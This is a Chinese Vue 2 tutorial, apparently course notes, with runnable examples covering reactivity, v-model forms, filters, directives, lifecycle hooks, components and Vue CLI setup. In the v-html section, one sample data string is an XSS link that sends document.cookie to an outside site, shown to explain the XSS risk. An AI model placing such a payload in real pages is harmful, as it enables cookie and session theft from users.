如何监测对象中的数据,通过setter实现监视,且要在new Vue时就传入要监测的数据
对象中后追加的属性,Vue默认不做响应式处理
如需给后添加的属性做响应式,请使用如下API:Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value)
如何监测数组中的数据,通过包裹数组更新元素的方法实现,本质就是做了两件事
调用原生对应的方法对数组进行更新。
重新解析模板,进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法
使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 总结数据监视</title > <style > button { margin-top : 10px ; } </style > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 学生信息</h1 > <button @click ="student.age++" > 年龄+1岁</button > <br /> <button @click ="addSex" > 添加性别属性,默认值:男</button > <br /> <button @click ="student.sex = '未知' " > 修改性别</button > <br /> <button @click ="addFriend" > 在列表首位添加一个朋友</button > <br /> <button @click ="updateFirstFriendName" > 修改第一个朋友的名字为:张三</button > <br /> <button @click ="addHobby" > 添加一个爱好</button > <br /> <button @click ="updateHobby" > 修改第一个爱好为:开车</button > <br /> <button @click ="removeSmoke" > 过滤掉爱好中的抽烟</button > <br /> <h3 > 姓名:{{student.name}}</h3 > <h3 > 年龄:{{student.age}}</h3 > <h3 v-if ="student.sex" > 性别:{{student.sex}}</h3 > <h3 > 爱好:</h3 > <ul > <li v-for ="(h,index) in student.hobby" :key ="index" > {{h}} </li > </ul > <h3 > 朋友们:</h3 > <ul > <li v-for ="(f,index) in student.friends" :key ="index" > {{f.name}}--{{f.age}} </li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ student :{ name :'tom' , age :18 , hobby :['抽烟' ,'喝酒' ,'烫头' ], friends :[ {name :'jerry' ,age :35 }, {name :'tony' ,age :36 } ] } }, methods : { addSex ( ){ this .$set(this .student ,'sex' ,'男' ) }, addFriend ( ){ this .student .friends .unshift ({name :'jack' ,age :70 }) }, updateFirstFriendName ( ){ this .student .friends [0 ].name = '张三' }, addHobby ( ){ this .student .hobby .push ('学习' ) }, updateHobby ( ){ this .$set(this .student .hobby ,0 ,'开车' ) }, removeSmoke ( ){ this .student .hobby = this .student .hobby .filter ((h )=> { return h !== '抽烟' }) } } }) </script > </html >
收集表单数据
若:<input type="text"/>
,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>
,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
配置input的value属性
v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>收集表单数据</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <form @submit.prevent="demo"> 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码:<input type="password" v-model="userInfo.password"> <br/><br/> 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/> 性别: 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 爱好: 学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br/><br/> 所属校区 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br/><br/> 其他信息: <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a> <button>提交</button> </form> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, sex:'female', hobby:[], city:'beijing', other:'', agree:'' } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script> </html>
过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
使用过滤器:{{ xxx | 过滤器名}}
或 v-bind:属性 = “xxx | 过滤器名”
过滤器也可以接收额外参数、多个过滤器也可以串联,并没有改变原本的数据, 是产生新的对应的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 过滤器</title > <script type ="text/javascript" src ="../js/vue.js" > </script > <script type ="text/javascript" src ="../js/dayjs.min.js" > </script > </head > <body > <div id ="root" > <h2 > 显示格式化后的时间</h2 > <h3 > 现在是:{{fmtTime}}</h3 > <h3 > 现在是:{{getFmtTime()}}</h3 > <h3 > 现在是:{{time | timeFormater}}</h3 > <h3 > 现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3 > <h3 :x ="msg | mySlice" > 尚硅谷</h3 > </div > <div id ="root2" > <h2 > {{msg | mySlice}}</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false Vue .filter ('mySlice' ,function (value ){ return value.slice (0 ,4 ) }) new Vue ({ el :'#root' , data :{ time :1621561377603 , msg :'你好,尚硅谷' }, computed : { fmtTime ( ){ return dayjs (this .time ).format ('YYYY年MM月DD日 HH:mm:ss' ) } }, methods : { getFmtTime ( ){ return dayjs (this .time ).format ('YYYY年MM月DD日 HH:mm:ss' ) } }, filters :{ timeFormater (value,str='YYYY年MM月DD日 HH:mm:ss' ){ return dayjs (value).format (str) } } }) new Vue ({ el :'#root2' , data :{ msg :'hello,atguigu!' } }) </script > </html >
内置指令 v-text 我们学过的指令
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令
作用:向其所在的节点中渲染文本内容。
与插值语法的区别:v-text会替换掉节点中的内容,则不会。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > v-text指令</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <div > 你好,{{name}}</div > <div v-text ="name" > </div > <div v-text ="str" > </div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'尚硅谷' , str :'<h3>你好啊!</h3>' } }) </script > </html >
v-html
作用:向指定节点中渲染包含html结构的内容
与插值语法的区别
v-html会替换掉节点中所有的内容,则不会
v-html可以识别html结构
严重注意:v-html有安全性问题
在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > v-html指令</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <div > 你好,{{name}}</div > <div v-html ="str" > </div > <div v-html ="str2" > </div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'尚硅谷' , str :'<h3>你好啊!</h3>' , str2 :'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>' , } }) </script > </html >
v-cloak
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > v-cloak指令</title > <style > [v-cloak] { display :none; } </style > </head > <body > <div id ="root" > <h2 v-cloak > {{name}}</h2 > </div > <script type ="text/javascript" src ="http://localhost:8080/resource/5s/vue.js" > </script > </body > <script type ="text/javascript" > console .log (1 ) Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'尚硅谷' } }) </script > </html >
v-once
v-once所在节点在初次动态渲染后,就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > v-once指令</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 v-once > 初始化的n值是:{{n}}</h2 > <h2 > 当前的n值是:{{n}}</h2 > <button @click ="n++" > 点我n+1</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ n :1 } }) </script > </html >
v-pre
跳过其所在节点的编译过程
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > v-pre指令</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 v-pre > Vue其实很简单</h2 > <h2 > 当前的n值是:{{n}}</h2 > <button @click ="n++" > 点我n+1</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ n :1 } }) </script > </html >
自定义指令
定义语法
局部指令
new Vue({directives:{指令名:配置对象}}) 或 new Vue({directives{指令名:回调函数}})
全局指令
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
配置对象中常用的3个回调
bind:指令与元素成功绑定时调用
inserted:指令所在元素被插入页面时调用
update:指令所在模板结构被重新解析时调用
备注
指令定义时不加v-,但使用时要加v-;
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 自定义指令</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > {{name}}</h2 > <h2 > 当前的n值是:<span v-text ="n" > </span > </h2 > <h2 > 放大10倍后的n值是:<span v-big ="n" > </span > </h2 > <button @click ="n++" > 点我n+1</button > <hr /> <input type ="text" v-fbind:value ="n" > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'尚硅谷' , n :1 }, directives :{ big (element,binding ){ console .log ('big' ,this ) element.innerText = binding.value * 10 }, fbind :{ bind (element,binding ){ element.value = binding.value }, inserted (element,binding ){ element.focus () }, update (element,binding ){ element.value = binding.value } } } }) </script > </html >
生命周期
又名:生命周期回调函数、生命周期函数、生命周期钩子。
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
生命周期函数中的this指向是vm 或 组件实例对象。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZuQE83jA-1679118224607)(https://ypycdn.nanshuo.icu/posts/vue/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.png)]
引出生命周期 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 引出生命周期</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 v-if ="a" > 你好啊</h2 > <h2 :style ="{opacity}" > 欢迎学习Vue</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ a :false , opacity :1 }, methods : { }, mounted ( ){ console .log ('mounted' ,this ) setInterval (() => { this .opacity -= 0.01 if (this .opacity <= 0 ) this .opacity = 1 },16 ) }, }) </script > </html >
分析生命周期 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 分析生命周期</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" :x ="n" > <h2 v-text ="n" > </h2 > <h2 > 当前的n值是:{{n}}</h2 > <button @click ="add" > 点我n+1</button > <button @click ="bye" > 点我销毁vm</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ n :1 }, methods : { add ( ){ console .log ('add' ) this .n ++ }, bye ( ){ console .log ('bye' ) this .$destroy() } }, watch :{ n ( ){ console .log ('n变了' ) } }, beforeCreate ( ) { console .log ('beforeCreate' ) }, created ( ) { console .log ('created' ) }, beforeMount ( ) { console .log ('beforeMount' ) }, mounted ( ) { console .log ('mounted' ) }, beforeUpdate ( ) { console .log ('beforeUpdate' ) }, updated ( ) { console .log ('updated' ) }, beforeDestroy ( ) { console .log ('beforeDestroy' ) }, destroyed ( ) { console .log ('destroyed' ) }, }) </script > </html >
总结生命周期 常用的生命周期钩子:
关于销毁Vue实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 引出生命周期</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 :style ="{opacity}" > 欢迎学习Vue</h2 > <button @click ="opacity = 1" > 透明度设置为1</button > <button @click ="stop" > 点我停止变换</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ opacity :1 }, methods : { stop ( ){ this .$destroy() } }, mounted ( ){ console .log ('mounted' ,this ) this .timer = setInterval (() => { console .log ('setInterval' ) this .opacity -= 0.01 if (this .opacity <= 0 ) this .opacity = 1 },16 ) }, beforeDestroy ( ) { clearInterval (this .timer ) console .log ('vm即将驾鹤西游了' ) }, }) </script > </html >
Vue组件化编程 组件的理解 理解:用来实现局部(特定)功能效果的代码集合(html、js、css、images、mp3、mp4…)
作用:复用代码,简化项目编码,提高运行效率
使用组件方式编写应用
非单文件组件 含义:一个文件中包含n个组件
Vue 的非单文件组件指的是在 JavaScript 文件中编写 Vue 组件的方式,即通过 Vue.extend() 方法或 Vue.component() 方法来定义组件。与单文件组件不同的是,非单文件组件通常将组件的模板、样式和脚本分别写在不同的地方,因此可读性较差,不便于维护。
缺点:模板编写没有提示,没有构建过程, 无法将 ES6 转换成 ES5,不支持组件的 CSS,真正开发中几乎不用
Vue中使用组件的三大步骤
定义组件(创建组件)
注册组件
使用组件(写组件标签)
如何定义一个组件?
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本使用</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div> <div id="root2"> <hello></hello> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) //第二步:全局注册组件 Vue.component('hello',hello) //创建vm new Vue({ el:'#root', data:{ msg:'你好啊!' }, //第二步:注册组件(局部注册) components:{ school, student } }) new Vue({ el:'#root2', }) </script> </html>
几个注意点 关于组件名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 几个注意点</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > {{msg}}</h1 > <school > </school > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const s = Vue .extend ({ name :'atguigu' , template :` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> ` , data ( ){ return { name :'尚硅谷' , address :'北京' } } }) new Vue ({ el :'#root' , data :{ msg :'欢迎学习Vue!' }, components :{ school :s } }) </script > </html >
组件的嵌套 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 组件的嵌套</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > </div > </body > <script type ="text/javascript" > Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div > <h2 > 学生姓名: {{name }} </h2 > <h2 > 学生年龄: {{age }} </h2 > </div > `, data(){ return { name:'尚硅谷', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div > <h2 > 学校名称: {{name }} </h2 > <h2 > 学校地址: {{address }} </h2 > <student > </student > </div > `, data(){ return { name:'尚硅谷', address:'北京' } }, //注册组件(局部) components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1 > {{msg }} </h1 > `, data(){ return { msg:'欢迎来到尚硅谷学习!' } } }) //定义app组件 const app = Vue.extend({ template:` <div > <hello > </hello > <school > </school > </div > `, components:{ school, hello } }) //创建vm new Vue({ template:'<app > </app > ', el:'#root', //注册组件(局部) components:{app} }) </script > </html >
VueComponent
school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
我们只需要写 或 ,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
关于this指向
组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > VueComponent</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <school > </school > <hello > </hello > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const school = Vue .extend ({ name :'school' , template :` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> ` , data ( ){ return { name :'尚硅谷' , address :'北京' } }, methods : { showName ( ){ console .log ('showName' ,this ) } }, }) const test = Vue .extend ({ template :`<span>atguigu</span>` }) const hello = Vue .extend ({ template :` <div> <h2>{{msg}}</h2> <test></test> </div> ` , data ( ){ return { msg :'你好啊!' } }, components :{test} }) const vm = new Vue ({ el :'#root' , components :{school,hello} }) </script > </html >
内置关系
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h4Uw1wmd-1679118224609)(https://ypycdn.nanshuo.icu/posts/vue/image-20230212211638006.png)]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 一个重要的内置关系</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <school > </school > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false Vue .prototype .x = 99 const school = Vue .extend ({ name :'school' , template :` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showX">点我输出x</button> </div> ` , data ( ){ return { name :'尚硅谷' , address :'北京' } }, methods : { showX ( ){ console .log (this .x ) } }, }) const vm = new Vue ({ el :'#root' , data :{ msg :'你好' }, components :{school} }) </script > </html >
单文件组件 Vue 的单文件组件(Single-File Component)是一种将组件的 HTML 模板、JavaScript 代码和 CSS 样式放在一个单独的文件中进行组件开发的方式,能够使得组件的可读性和可维护性更加高效。
在单文件组件中,通常使用 .vue
文件扩展名,包含三个部分:
<template>
标签:组件的 HTML 模板。
<script>
标签:组件的 JavaScript 代码,包括组件的数据、方法、计算属性、生命周期钩子等。
<style>
标签:组件的 CSS 样式,可以使用普通的 CSS 或者预处理器(如 Sass、Less)来编写。
在下面示例中,单文件组件中包含了一个 <template>
标签,用于渲染组件的 HTML 模板,一个 <script>
标签,用于定义组件的 JavaScript 代码,以及一个 <style>
标签,用于定义组件的 CSS 样式。<script>
标签中使用 export default
导出一个组件选项对象,包括组件的名称和数据等信息。<style>
标签中使用 scoped
属性来确保 CSS 样式只在当前组件内生效。
单文件组件使得组件的逻辑更加清晰,便于管理和维护。在 Vue 项目中,使用单文件组件可以有效地提高开发效率,同时也可以通过组件的复用性和可维护性提高项目的可扩展性和可维护性。
例如,下面是一个简单的 Vue 单文件组件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <template> <div > <h1 > {{ message }}</h1 > </div > </template> <script > export default { name : 'HelloWorld' , data ( ) { return { message : 'Hello World!' , } }, } </script > <style scoped > h1 { color : red; } </style >
Vue的脚手架
什么是脚手架
Vue的脚手架是一个用来快速搭建Vue项目的模板工具。它提供了一个可以使用的项目框架,包括目录结构、配置文件、依赖包等。脚手架的目的是让开发者更快速地搭建基础项目架构,而不用从头开始创建目录结构和配置文件,使得开发者可以专注于业务逻辑的开发。Vue最常用的脚手架是Vue CLI,它提供了一个命令行界面,可以快速创建、配置和管理Vue项目。
文档地址: https://cli.vuejs.org/zh/
下载搭建脚手架步骤
全局安装@vue/cli,指令为npm install -g @vue/cli ,只执行一次,打开cmd命令行窗口输入即可,若下载网速较慢,可先配置淘宝镜像,命令为:npm config set registry https://registry.npm.taobao.org
切换到你要创建项目的目录,然后使用命令创建项目:vue create xxxx
启动项目:npm run serve,可以在直接在cmd命令行窗口使用该命令,或者使用VSCode打开后在终端运行该代码(推荐使用)
备注:
如出现下载缓慢请配置 npm 淘宝镜像:npm config set registry https://registry.npm.taobao.org
Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置并且输出在某个文件中(output.js文件)中展示,请执行:vue inspect > output.j
Vue脚手架模板项目基本结构
node_modules:存放着项目中所有依赖的模块和库。这些模块和库可以通过 npm 包管理器安装。Vue 项目的脚手架也可以使用 npm 安装需要的模块,从而在项目中使用这些模块。node_modules 目录中存放着这些依赖的模块和库,以方便在项目中引用。
public:存放静态资源,例如 favicon.ico 和 index.html。
favicon.ico: 页签图标
index.html: 主页面
src:存放源代码,是 Vue 应用的核心部分。
assets: 存放静态资源,存放需要经过 webpack 编译的资源,例如图片、字体等。
logo.png
component: 存放Vue组件
App.vue:汇总所有组件
main.js:入口文件
.gitignore:git 版本管制忽略的配置
babel.config.js:babel 的配置文件
Babel是一个JavaScript编译器,可以将高版本的JavaScript代码编译为低版本的代码,以适应不同的浏览器环境。在Vue的脚手架结构中,babel.config.js文件可以用来配置Babel编译JavaScript代码的方式。这样,开发者可以根据自己的需求,使用Babel编译代码,保证应用能够在多种浏览器环境中正常运行。
package.json:应用包配置文件
README.md::应用描述文件
package-lock.json:包版本控制文件
vue.config.js:这个文件是一个用于配置Vue脚手架工具的JavaScript文件。它是可选的,但是当您需要为Vue项目进行自定义配置时,它是非常有用的。您可以在这个文件中配置一些额外的选项,如Webpack的配置,构建设置,开发服务器的配置,插件的使用等。这个文件的存在对于在开发环境和生产环境中获得最佳的性能和体验是非常重要的。详情见:https://cli.vuejs.org/zh
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WDpamB6l-1679118232368)(null)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dDBIjhSC-1679118231100)(null)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GlEBgP7o-1679118232227)(null)]
小案例 创建School.vue,Student.vue,App.vue,main.js,index.html文件,这五个文件组成一个简单的单文件组件案例,通过Vue的脚手架(Vue CLI)运行该案例并且展示在页面上,通过命令vue create vue-test,创建一个vue-test目录(就是一个脚手架目录)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <template> <div class ="demo" > <h2 > 学校名称:{{name}}</h2 > <h2 > 学校地址:{{address}}</h2 > <button @click ="showName" > 点我提示学校名</button > </div > </template> <script > export default { name :'my-school' , data ( ){ return { name :'尚硅谷' , address :'北京昌平' } }, methods : { showName ( ){ alert (this .name ) } }, } </script > <style > .demo { background-color : orange; } </style >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <template> <div > <h2 > 学生姓名:{{name}}</h2 > <h2 > 学生年龄:{{age}}</h2 > </div > </template> <script > export default { name :'my-student' , data ( ){ return { name :'张三' , age :18 } } } </script >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <template> <div > <School > </School > <Student > </Student > </div > </template> <script > import School from './components/School.vue' import Student from './components/Student.vue' export default { name :'App' , components :{ School , Student } } </script >
render
函数在 Vue 中是渲染函数,用于渲染组件的内容。它是一个函数,返回一个 VNode 对象。在 main.js
文件中,它通常是用于渲染 Vue 应用的根组件。通常使用 JSX 语法在 render
函数中定义根组件,并使用 Vue 的模板语法在其中定义子组件。
简单来说,render
函数指定了渲染一个组件的方式,以及该组件的模板是如何组织的。
vue.js与vue.runtime.xxx.js的区别
(1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
(2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。
1 2 3 4 5 6 7 8 9 10 import Vue from 'vue' import App from './App.vue' Vue .config .productionTip = false new Vue ({ render : h => h (App ), }).$mount('#app' )
